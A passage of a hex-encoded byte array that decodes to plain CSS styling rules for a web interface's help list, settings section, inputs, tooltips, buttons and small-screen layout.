0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x2E, 0x68, 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x6C, 0x69, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, - 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, - 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x2E, 0x68, 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, - 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, - 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, - 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2F, 0x2A, 0x20, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x69, 0x76, 0x65, 0x20, 0x45, 0x6E, 0x68, 0x61, 0x6E, 0x63, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x40, 0x6D, 0x65, 0x64, 0x69, 0x61, 0x20, 0x28, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x36, 0x30, 0x30, 0x70, 0x78, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, - 0x65, 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, - 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, - 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x3A, 0x3A, - 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, 0x70, 0x78, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, - 0x2A, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, - 0x64, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x30, 0x2C, 0x20, 0x31, 0x30, 0x2C, 0x20, 0x31, 0x35, 0x2C, 0x20, 0x30, 0x2E, 0x38, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, - 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, - 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x72, 0x6F, 0x70, 0x2D, 0x66, 0x69, 0x6C, 0x74, - 0x65, 0x72, 0x3A, 0x20, 0x62, 0x6C, 0x75, 0x72, 0x28, 0x31, 0x30, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x68, 0x32, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, - 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, - 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x2E, 0x38, 0x72, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, - 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x66, 0x69, 0x6C, 0x6C, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, - 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, - 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, - 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, - 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, - 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, - 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, - 0x78, 0x74, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x20, 0x65, 0x61, 0x73, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x7B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x33, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, - 0x35, 0x2C, 0x20, 0x31, 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, - 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x31, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, - 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x39, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x31, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x42, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, - 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, - 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x35, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, 0x32, 